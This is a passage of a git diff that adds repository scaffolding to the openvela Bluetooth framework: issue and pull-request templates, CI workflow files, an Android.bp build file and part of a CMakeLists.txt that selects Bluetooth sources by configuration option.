diff --git a/.clang-format b/.clang-format new file mode 100644 index 0000000000000000000000000000000000000000..1dd236cb113f5e05df15f34dfd338b3dd8b164cd --- /dev/null +++ b/.clang-format @@ -0,0 +1,3 @@ +--- +Language: Cpp +BasedOnStyle: WebKit diff --git a/.gitee/ISSUE_TEMPLATE/001_bug_report.yml b/.gitee/ISSUE_TEMPLATE/001_bug_report.yml new file mode 100644 index 0000000000000000000000000000000000000000..7107bc233c838b0738b53c3960912b09710fc480 --- /dev/null +++ b/.gitee/ISSUE_TEMPLATE/001_bug_report.yml @@ -0,0 +1,40 @@ +name: 缺陷反馈 | Bug +description: 当您发现了一个缺陷,需要向社区反馈时,请使用此模板。 +title: "[BUG] <标题>" +labels: [👀 needs triage, "Type: Bug"] +body: + - type: markdown + attributes: + value: | + 感谢您对 openvela 社区的支持与关注,欢迎反馈缺陷。 + + - type: textarea + attributes: + label: "重现问题的步骤" + description: "简洁地描述错误是什么,为什么您认为它是一个错误,以及如何重现它的步骤" + placeholder: | + 重现问题的步骤,可能包括日志和截图。 + 1. 步骤 1 + 2. 步骤 2 + validations: + required: true + + - type: dropdown + id: architecture + attributes: + label: Issue Architecture + multiple: true + options: + - "Arch: arm" + - "Arch: arm64" + - "Arch: x86_64" + validations: + required: true + + - type: markdown + attributes: + value: | + 提交前请确认您已遵循以下步骤: + - 确认问题在 [**dev**](../) 上可重现。 + - 遇到构建问题时运行 `make distclean`。 + - 搜索 [现有问题](./) diff --git a/.gitee/ISSUE_TEMPLATE/002_feature_request.yml b/.gitee/ISSUE_TEMPLATE/002_feature_request.yml new file mode 100644 index 0000000000000000000000000000000000000000..8b500152e7f080e30baa628bdc8c079b93be3d25 --- /dev/null +++ b/.gitee/ISSUE_TEMPLATE/002_feature_request.yml @@ -0,0 +1,34 @@ +name: 新需求 | Feature +description: 当您需要反馈或实现一个新需求时,使用此模板。 +title: "[FEATURE] <标题>" +body: + - type: markdown + attributes: + value: | + 感谢您对 openvela 社区的支持与关注。 + + - type: textarea + id: question-description + attributes: + label: 您的需求是否和问题相关? + description: 请简单描述问题,并提供issue链接。 + validations: + required: true + + - type: textarea + id: solution + attributes: + label: 请描述您想要的解决方案 + validations: + required: true + + - type: textarea + id: 替代方案 + attributes: + label: 请描述您考虑过的替代解决方案 + + - type: markdown + attributes: + value: | + 提交前请搜索 [现有功能需求](./) + diff --git a/.gitee/ISSUE_TEMPLATE/003_help.yml b/.gitee/ISSUE_TEMPLATE/003_help.yml new file mode 100644 index 0000000000000000000000000000000000000000..bde95adf3d07da0e687eef3d960a10b26b2a97a9 --- /dev/null +++ b/.gitee/ISSUE_TEMPLATE/003_help.yml @@ -0,0 +1,22 @@ +name: 问题咨询 +title: "[问题咨询]" +body: + - type: markdown + attributes: + value: | + 感谢您对 openvela 社区的支持与关注。 + + - type: textarea + id: question-description + attributes: + label: 描述 + description: 请解释您的问题的背景或上下文,这有助于其他人更好地理解您的问题或疑问。 + validations: + required: true + + - type: markdown + attributes: + value: | + 提交前请确认您已遵循以下步骤: + - 我已搜索 [openvela 文档](../),但未找到问题的答案。 + - 已搜索 [现有问题](./) diff --git a/.gitee/ISSUE_TEMPLATE/config.yml b/.gitee/ISSUE_TEMPLATE/config.yml new file mode 100644 index 0000000000000000000000000000000000000000..3ba13e0cec6cbbfd462e9ebf529dd2093148cd69 --- /dev/null +++ b/.gitee/ISSUE_TEMPLATE/config.yml @@ -0,0 +1 @@ +blank_issues_enabled: false diff --git a/.gitee/PULL_REQUEST_TEMPLATE.md b/.gitee/PULL_REQUEST_TEMPLATE.md new file mode 100644 index 0000000000000000000000000000000000000000..cd8b2bc3a7690b37298e12d71c7b12189d26fae8 --- /dev/null +++ b/.gitee/PULL_REQUEST_TEMPLATE.md @@ -0,0 +1,11 @@ +## 概要 + +*在此部分更新信息,说明更改的必要性、具体做了什么以及如何实现的,如果有新功能出现,请提供参考资料(依赖关系、类似问题和解决方案等)。* + +## 影响 + +*在此部分更新信息(如适用),说明更改如何影响用户、构建过程、硬件、文档、安全性、兼容性等。* + +## 测试 + +*在此部分更新信息,详细说明如何验证更改,使用什么主机进行构建(操作系统、CPU、编译器等),使用什么目标进行验证(架构、板子:配置等)。提供更改前后的构建和运行日志将非常有帮助。* \ No newline at end of file diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS new file mode 100644 index 0000000000000000000000000000000000000000..544b9107e6ffeb1639173292a88f19c1f631dcee --- /dev/null +++ b/.github/CODEOWNERS @@ -0,0 +1 @@ +* @hyson710 diff --git a/.github/ISSUE_TEMPLATE/001_bug_report.yml b/.github/ISSUE_TEMPLATE/001_bug_report.yml new file mode 100644 index 0000000000000000000000000000000000000000..48e823db004f97019d883d13fd419084b650b4df --- /dev/null +++ b/.github/ISSUE_TEMPLATE/001_bug_report.yml @@ -0,0 +1,60 @@ +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +name: Bug report +description: Report a bug to improve openvela stability +title: "[BUG] " +labels: [👀 needs triage, "Type: Bug"] +body: + - type: markdown + attributes: + value: | + Hello openvela Community member! Please keep things tidy by putting your post in the proper place: + + Reporting a bug: use this form. + Asking a question or getting help: use the [General Help](./new?assignees=&labels=Community%3A+Question&projects=&template=003_help.yml&title=%5BHELP%5D+%3Ctitle%3E) form. + Requesting a new feature: use the [Feature request](./new?assignees=&labels=Type%3A+Enhancement&projects=&template=002_feature_request.yml&title=%5BFEATURE%5D+%3Ctitle%3E) form. + - type: textarea + attributes: + label: "Description / Steps to reproduce the issue" + description: "A clear and concise description of what the bug is, and why you consider it to be a bug, and steps for how to reproduce it" + placeholder: | + A description with steps to reproduce the issue. + May include logs, images, or videos. + 1. Step 1 + 2. Step 2 + validations: + required: true + + - type: dropdown + id: architecture + attributes: + label: Issue Architecture + description: What architecture(s) are you seeing the problem on? + multiple: true + options: + - "[Arch: arm]" + - "[Arch: arm64]" + - "[Arch: x86_64]" + validations: + required: true + + - type: markdown + attributes: + value: | + ### Before You Submit + + Please verify that you've followed these steps: + - Confirm the problem is reproducible on [**dev**](../). + - Run `make distclean` when encountering build issues. + - Search [existing issues](./) (including [closed](./?q=is%3Aissue+is%3Aclosed)) + diff --git a/.github/ISSUE_TEMPLATE/002_feature_request.yml b/.github/ISSUE_TEMPLATE/002_feature_request.yml new file mode 100644 index 0000000000000000000000000000000000000000..d5f410895687730a42836aa65c321c13e59100c5 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/002_feature_request.yml @@ -0,0 +1,55 @@ +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +name: Feature request +description: Request an enhancement for openvela +title: "[FEATURE] <title>" +labels: ["Type: Enhancement"] +body: + - type: markdown + attributes: + value: | + Hello openvela Community member! Please keep things tidy by putting your post in the proper place: + + Requesting a new feature: use this form. + Asking a question or getting help: use the [General Help](./new?assignees=&labels=Community%3A+Question&projects=&template=003_help.yml&title=%5BHELP%5D+%3Ctitle%3E) form. + Reporting a bug: use the [Bug report](./new?assignees=&labels=%F0%9F%91%80+needs+triage%2CType%3A+Bug&projects=&template=001_bug_report.yml&title=%5BBUG%5D+%3Ctitle%3E) form. + + - type: textarea + id: question-description + attributes: + label: Is your feature request related to a problem? Please describe. + description: Please provide a clear and concise description of what the problem is. Add relevant issue link. + validations: + required: true + + - type: textarea + id: solution + attributes: + label: Describe the solution you'd like + description: Please provide a clear and concise description of what you want to happen. + validations: + required: true + + - type: textarea + id: alternatives + attributes: + label: Describe alternatives you've considered + description: Please provide a clear and concise description of any alternative solutions or features you've considered. + + - type: markdown + attributes: + value: | + ### Before You Submit + + Please verify that you've followed these steps: + - Search [existing feature requests](./) (including [closed](./?q=is%3Aissue+is%3Aclosed)) diff --git a/.github/ISSUE_TEMPLATE/003_help.yml b/.github/ISSUE_TEMPLATE/003_help.yml new file mode 100644 index 0000000000000000000000000000000000000000..ff1e1bf627ad1674eef3a4e20ed808e416beb0ec --- /dev/null +++ b/.github/ISSUE_TEMPLATE/003_help.yml @@ -0,0 +1,47 @@ +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +name: General Help +description: Get general support regarding openvela +title: "[HELP] <title>" +labels: ["Community: Question"] +body: + - type: markdown + attributes: + value: | + Hello openvela Community member! Please keep things tidy by putting your post in the proper place: + + Asking a question or getting help: use this form. + Reporting a bug: use the [Bug report](./new?assignees=&labels=%F0%9F%91%80+needs+triage%2CType%3A+Bug&projects=&template=001_bug_report.yml&title=%5BBUG%5D+%3Ctitle%3E) form. + Requesting a new feature: use the [Feature request](./new?assignees=&labels=Type%3A+Enhancement&projects=&template=002_feature_request.yml&title=%5BFEATURE%5D+%3Ctitle%3E) form + + - type: markdown + attributes: + value: | + ### Whether you're a beginner or an experienced developer, openvela Help is here to assist you with all your openvela questions and concerns. + + - type: textarea + id: question-description + attributes: + label: Description + description: Explain the background or context of your question. This helps others understand your problem or inquiry better. + validations: + required: true + + - type: markdown + attributes: + value: | + ### Before You Submit + + Please verify that you've followed these steps: + - I have searched [openvela Documentation](../) and didn't find an answer to my question. + - Search [existing issues](./) (including [closed](./?q=is%3Aissue+is%3Aclosed)) diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml new file mode 100644 index 0000000000000000000000000000000000000000..3ba13e0cec6cbbfd462e9ebf529dd2093148cd69 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/config.yml @@ -0,0 +1 @@ +blank_issues_enabled: false diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md new file mode 100644 index 0000000000000000000000000000000000000000..cfe55eb61d3334245c04325ee92abc7fdd1ebc07 --- /dev/null +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -0,0 +1,20 @@ +*Note: Please adhere to [Contributing Guidelines](https://github.com/open-vela/docs/blob/dev/CONTRIBUTING.md).* + +## Summary + +*Update this section with information on why change is necessary, + what it exactly does and how, if new feature shows up, provide + references (dependencies, similar problems and solutions), etc.* + +## Impact + +*Update this section, where applicable, on how change affects users, + build process, hardware, documentation, security, compatibility, etc.* + +## Testing + +*Update this section with details on how did you verify the change, + what Host was used for build (OS, CPU, compiler, ..), what Target was + used for verification (arch, board:config, ..), etc. Providing build + and runtime logs from before and after change is highly appreciated.* + diff --git a/.github/workflows/checkpatch.yml b/.github/workflows/checkpatch.yml new file mode 100644 index 0000000000000000000000000000000000000000..1cfe702b8cccf06491eaeef1267b63eb1cfbbdd6 --- /dev/null +++ b/.github/workflows/checkpatch.yml @@ -0,0 +1,14 @@ +# This is a basic workflow to help you get started with Actions + +name: checkpatch + +# Controls when the workflow will run +on: + pull_request: + types: [opened, reopened, synchronize] + +# A workflow run is made up of one or more jobs that can run sequentially or in parallel +jobs: + checkpatch: + uses: open-vela/public-actions/.github/workflows/checkpatch.yml@dev + secrets: inherit diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml new file mode 100644 index 0000000000000000000000000000000000000000..75b6797a9cd6459908bccdb8f514677a3cd48207 --- /dev/null +++ b/.github/workflows/ci.yml @@ -0,0 +1,14 @@ +# This is a basic workflow to help you get started with Actions + +name: CI + +# Controls when the workflow will run +on: + pull_request_target: + types: [opened, reopened, synchronize] + +# A workflow run is made up of one or more jobs that can run sequentially or in parallel +jobs: + ci: + uses: open-vela/public-actions/.github/workflows/ci.yml@dev + secrets: inherit diff --git a/.github/workflows/clang-format.yml b/.github/workflows/clang-format.yml new file mode 100644 index 0000000000000000000000000000000000000000..e347b4a860dc433d4bc6f749125d80c0986933ed --- /dev/null +++ b/.github/workflows/clang-format.yml @@ -0,0 +1,13 @@ +# This is a basic workflow to help you get started with Actions + +name: clang-format + +# Controls when the workflow will run +on: + pull_request: + types: [opened, reopened, synchronize] + +# A workflow run is made up of one or more jobs that can run sequentially or in parallel +jobs: + clang-format: + uses: open-vela/public-actions/.github/workflows/clang-format.yml@dev diff --git a/.github/workflows/stale.yml b/.github/workflows/stale.yml new file mode 100644 index 0000000000000000000000000000000000000000..95183d91cbbf10895cd8656388e75020ac95fa7c --- /dev/null +++ b/.github/workflows/stale.yml @@ -0,0 +1,11 @@ +name: 'Close stale issues and PR' +on: + schedule: + - cron: '30 1 * * *' + workflow_dispatch: # 允许手动触发 + +jobs: + stale: + uses: open-vela/public-actions/.github/workflows/stale.yml@dev + secrets: inherit + diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000000000000000000000000000000000000..855816b4381a877134e76ed74699e40d2e6e981c --- /dev/null +++ b/.gitignore @@ -0,0 +1,4 @@ +*.o +*.built +*.depend +*.dep diff --git a/Android.bp b/Android.bp new file mode 100644 index 0000000000000000000000000000000000000000..82e81d648f90fb983dd2624fe514a3ee766bd2bb --- /dev/null +++ b/Android.bp @@ -0,0 +1,132 @@ +bootstrap_go_package { + name: "soong-frameworkBluetooth", + pkgPath: "android/soong/frameworkBluetooth", + deps: [ + "soong-android", + "soong-cc", + ], + srcs: [ + "frameworkBluetooth.go", + "frameworkBluetoothBin.go", + ], + pluginFor: ["soong_build"], +} + +frameworkBluetooth_cc_library { + name : "libbt-framework-client", + min_sdk_version: "33", + + srcs : [ + "framework/common/*.c", + "framework/socket/*.c", + "service/common/index_allocator.c", + "service/ipc/socket/src/bt_socket_client.c", + "service/ipc/socket/src/bt_socket_adapter.c", + "service/ipc/socket/src/bt_socket_advertiser.c", + "service/ipc/socket/src/bt_socket_avrcp_control.c", + "service/ipc/socket/src/bt_socket_scan.c", + "service/ipc/socket/src/bt_socket_gattc.c", + "service/ipc/socket/src/bt_socket_gatts.c", + "service/ipc/socket/src/bt_socket_a2dp_sink.c", + "service/ipc/socket/src/bt_socket_a2dp_source.c", + "service/ipc/socket/src/bt_socket_avrcp_target.c", + "service/ipc/socket/src/bt_socket_hfp_ag.c", + "service/ipc/socket/src/bt_socket_hfp_hf.c", + "service/ipc/socket/src/bt_socket_hid_device.c", + "service/ipc/socket/src/bt_socket_l2cap.c", + "service/ipc/socket/src/bt_socket_spp.c", + "service/src/manager_service.c", + ], + + include_dirs : [ + "vendor/vela/apps/system/libuv/libuv/include", + "vendor/vela/apps/system/libuv/libuv/src", + ], + + local_include_dirs : [ + "framework/include", + "service", + "service/common", + "service/ipc", + "service/ipc/socket/include", + "service/profiles", + "service/profiles/include", + "service/src", + ], + + static_libs : [ + "libuv", + ], + + shared_libs : [ + "liblog", + ], + + cflags : [ + //"-DANDROID", + "-Werror", + "-Wno-unused-parameter", + "-Wno-unused-function", + "-Wno-unused-variable", + "-Wno-typedef-redefinition", + ], + + apex_available : [ + "//apex_available:platform", + "com.android.btservices", + ], + + header_libs: [ + "kernel_modules_headers", + ], +} + +frameworkBluetooth_cc_binary { + name : "bttool", + + srcs : [ + "tools/bt_tools.c", + "tools/adv.c", + "tools/scan.c", + "tools/gatt_client.c", + "tools/gatt_server.c", + "tools/a2dp_sink.c", + "tools/a2dp_source.c", + "tools/hfp_ag.c", + "tools/hfp_hf.c", + "tools/hid_device.c", + "tools/l2cap.c", + "tools/spp.c", + "tools/log.c", + "tools/utils.c", + ], + + include_dirs : [ + "vendor/vela/apps/system/libuv/libuv/include", + "vendor/vela/apps/system/libuv/libuv/src", + ], + + local_include_dirs : [ + "framework/include", + "service", + "service/common", + "service/utils", + ], + + static_libs : [ + "libuv", + ], + + shared_libs : [ + "liblog", + "libbt-framework-client", + ], + + cflags : [ + //"-DANDROID", + "-Werror", + "-Wno-unused-parameter", + "-Wno-unused-function", + "-Wno-unused-variable", + ], +} diff --git a/CMakeLists.txt b/CMakeLists.txt new file mode 100644 index 0000000000000000000000000000000000000000..e76d30bdd83152e69d18b3671a50eee5587206a3 --- /dev/null +++ b/CMakeLists.txt @@ -0,0 +1,1002 @@ +# +# Copyright (C) 2024 Xiaomi Corporation +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may not +# use this file except in compliance with the License. You may obtain a copy of +# the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations under +# the License. +# + +if(CONFIG_BLUETOOTH) + + # Source Directories + set(BLUETOOTH_DIR ${CMAKE_CURRENT_SOURCE_DIR}) + + # Flags + set(CFLAGS) + set(CSRCS) + set(INCDIR) + + # Sources + file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/framework/common/*.c) + list(APPEND CSRCS ${APPEND_FILES}) + + list( + APPEND + CSRCS + ${BLUETOOTH_DIR}/framework/api/bluetooth.c + ${BLUETOOTH_DIR}/framework/api/bt_adapter.c + ${BLUETOOTH_DIR}/framework/api/bt_device.c) + + if(CONFIG_BLUETOOTH_A2DP_SINK) + list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/api/bt_a2dp_sink.c) + endif() + + if(CONFIG_BLUETOOTH_A2DP_SOURCE) + list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/api/bt_a2dp_source.c) + endif() + + if(CONFIG_BLUETOOTH_AVRCP_TARGET) + list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/api/bt_avrcp_target.c) + endif() + + if(CONFIG_BLUETOOTH_AVRCP_CONTROL) + list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/api/bt_avrcp_control.c) + endif() + + if(CONFIG_BLUETOOTH_HFP_AG) + list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/api/bt_hfp_ag.c) + endif() + + if(CONFIG_BLUETOOTH_HFP_HF) + list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/api/bt_hfp_hf.c) + endif() + + if(CONFIG_BLUETOOTH_SPP) + list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/api/bt_spp.c) + endif() + + if(CONFIG_BLUETOOTH_HID_DEVICE) + list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/api/bt_hid_device.c) + endif() + + if(CONFIG_BLUETOOTH_GATT_CLIENT) + list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/api/bt_gattc.c) + endif() + + if(CONFIG_BLUETOOTH_GATT_SERVER) + list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/api/bt_gatts.c) + endif() + + if(CONFIG_BLUETOOTH_L2CAP) + list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/api/bt_l2cap.c) + endif() + + if(CONFIG_BLUETOOTH_BLE_ADV) + list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/api/bt_le_advertiser.c) + endif() + + if(CONFIG_BLUETOOTH_BLE_SCAN) + list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/api/bt_le_scan.c) + endif() + + if(CONFIG_BLUETOOTH_LOG) + list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/api/bt_trace.c) + endif() + + if(CONFIG_BLUETOOTH_PAN) + list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/api/bt_pan.c) + endif() + + if(CONFIG_BLUETOOTH_BLE_AUDIO) + file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/framework/api/bt_lea*.c) + list(APPEND CSRCS ${APPEND_FILES}) + endif() + + if(CONFIG_BLUETOOTH_FRAMEWORK_SOCKET_IPC) + list( + APPEND + CSRCS + ${BLUETOOTH_DIR}/service/ipc/bluetooth_ipc.c + ${BLUETOOTH_DIR}/framework/socket/bt_device.c + ${BLUETOOTH_DIR}/framework/socket/bt_adapter.c + ${BLUETOOTH_DIR}/framework/socket/bluetooth.c + ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket.c + ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_manager.c + ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_client.c + ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_server.c + ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_device.c + ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_adapter.c) + + if(CONFIG_BLUETOOTH_A2DP_SINK) + list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/socket/bt_a2dp_sink.c) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_a2dp_sink.c) + endif() + + if(CONFIG_BLUETOOTH_A2DP_SOURCE) + list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/socket/bt_a2dp_source.c) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_a2dp_source.c) + endif() + + if(CONFIG_BLUETOOTH_AVRCP_TARGET) + list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/socket/bt_avrcp_target.c) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_avrcp_target.c) + endif() + + if(CONFIG_BLUETOOTH_AVRCP_CONTROL) + list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/socket/bt_avrcp_control.c) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_avrcp_control.c) + endif() + + if(CONFIG_BLUETOOTH_HFP_HF) + list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/socket/bt_hfp_hf.c) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_hfp_hf.c) + endif() + + if(CONFIG_BLUETOOTH_HFP_AG) + list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/socket/bt_hfp_ag.c) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_hfp_ag.c) + endif() + + if(CONFIG_BLUETOOTH_SPP) + list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/socket/bt_spp.c) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_spp.c) + endif() + + if(CONFIG_BLUETOOTH_HID_DEVICE) + list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/socket/bt_hid_device.c) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_hid_device.c) + endif() + + if(CONFIG_BLUETOOTH_GATT_CLIENT) + list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/socket/bt_gattc.c) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_gattc.c) + endif() + + if(CONFIG_BLUETOOTH_GATT_SERVER) + list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/socket/bt_gatts.c) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_gatts.c) + endif() + + if(CONFIG_BLUETOOTH_L2CAP) + list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/socket/bt_l2cap.c) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_l2cap.c) + endif() + + if(CONFIG_BLUETOOTH_BLE_ADV) + list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/socket/bt_le_advertiser.c) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_advertiser.c) + endif() + + if(CONFIG_BLUETOOTH_BLE_SCAN) + list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/socket/bt_le_scan.c) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_le_scan.c) + endif() + + if(CONFIG_BLUETOOTH_PAN) + list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/socket/bt_pan.c) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_pan.c) + endif() + + if(CONFIG_BLUETOOTH_LOG) + list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/socket/bt_trace.c) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_log.c) + endif() + + list(APPEND INCDIR ${BLUETOOTH_DIR}/service/ipc/socket/include) + + if (CONFIG_BLUETOOTH_FRAMEWORK_ASYNC) + file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/framework/socket/async/*.c) + list(APPEND CSRCS ${APPEND_FILES}) + endif() + endif() + + list( + APPEND + CSRCS + ${BLUETOOTH_DIR}/service/src/manager_service.c + ${BLUETOOTH_DIR}/service/common/index_allocator.c) + + if(CONFIG_BLUETOOTH_CONNECTION_MANAGER) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/src/connection_manager.c) + endif() + + if(CONFIG_BLUETOOTH_STORAGE_PROPERTY_SUPPORT) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/common/storage_property.c) + else() + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/common/storage.c) + endif() + + if(CONFIG_BLUETOOTH_STORAGE_UPDATE) + list( + APPEND + CSRCS + ${BLUETOOTH_DIR}/tools/storage_update/storage_version_4.c + ${BLUETOOTH_DIR}/tools/storage_update/storage_version_5.c) + endif() + + if(CONFIG_BLUETOOTH_DEBUG_MEMORY) + list(APPEND CSRCS ${BLUETOOTH_DIR}/debug/bt_memory.c) + endif() + + if(CONFIG_BLUETOOTH_SERVICE) + list( + APPEND + CSRCS + ${BLUETOOTH_DIR}/service/common/service_loop.c + ${BLUETOOTH_DIR}/service/src/adapter_service.c + ${BLUETOOTH_DIR}/service/src/adapter_state.c + ${BLUETOOTH_DIR}/service/src/btservice.c + ${BLUETOOTH_DIR}/service/src/device.c + ${BLUETOOTH_DIR}/service/vendor/bt_vendor.c + ${BLUETOOTH_DIR}/service/src/hci_parser.c) + + if(CONFIG_BLUETOOTH_BREDR_SUPPORT) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/src/power_manager.c) + endif() + + if(CONFIG_BLUETOOTH_BLE_ADV) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/src/advertising.c) + endif() + + if(CONFIG_BLUETOOTH_BLE_SCAN) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/src/scan_manager.c + ${BLUETOOTH_DIR}/service/src/scan_record.c + ${BLUETOOTH_DIR}/service/src/scan_filter.c) + endif() + + if(CONFIG_BLUETOOTH_L2CAP) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/src/l2cap_service.c) + endif() + + if(CONFIG_LE_DLF_SUPPORT) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/src/connection_manager_dlf.c) + endif() + + if(CONFIG_BLUETOOTH_HCI_FILTER) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/vhal/bt_hci_filter.c) + endif() + + file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/stacks/*.c) + list(APPEND CSRCS ${APPEND_FILES}) + + if(CONFIG_BLUETOOTH_STACK_BREDR_BLUELET + OR CONFIG_BLUETOOTH_STACK_LE_BLUELET) + file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/stacks/bluelet/*.c) + list(APPEND CSRCS ${APPEND_FILES}) + endif() + + if(CONFIG_BLUETOOTH_STACK_BREDR_ZBLUE OR CONFIG_BLUETOOTH_STACK_LE_ZBLUE) + list(APPEND INCDIR ${BLUETOOTH_DIR}/service/stacks/zephyr/include) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/stacks/zephyr/hci_h4.c) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/stacks/zephyr/sal_debug_interface.c) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/stacks/zephyr/sal_zblue.c) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/stacks/zephyr/sal_adapter_interface.c) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/stacks/zephyr/sal_connection_manager.c) + + if(CONFIG_BLUETOOTH_SPP) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/stacks/zephyr/sal_spp_interface.c) + endif() + + if(CONFIG_BLUETOOTH_A2DP) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/stacks/zephyr/sal_a2dp_interface.c) + endif() + + if(CONFIG_BLUETOOTH_AVRCP_CONTROL OR CONFIG_BLUETOOTH_AVRCP_TARGET) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/stacks/zephyr/sal_avrcp_interface.c) + endif() + + if(CONFIG_BLUETOOTH_HID_DEVICE) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/stacks/zephyr/sal_hid_device_interface.c) + endif() + + if(CONFIG_BLUETOOTH_HFP_HF) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/stacks/zephyr/sal_hfp_hf_interface.c) + endif() + + if(CONFIG_BLUETOOTH_HFP_AG) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/stacks/zephyr/sal_hfp_ag_interface.c) + endif() + + endif() + + if(CONFIG_BLUETOOTH_STACK_LE_ZBLUE) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/stacks/zephyr/sal_adapter_le_interface.c) + + if(CONFIG_BLUETOOTH_BLE_ADV) + list(APPEND CSRCS 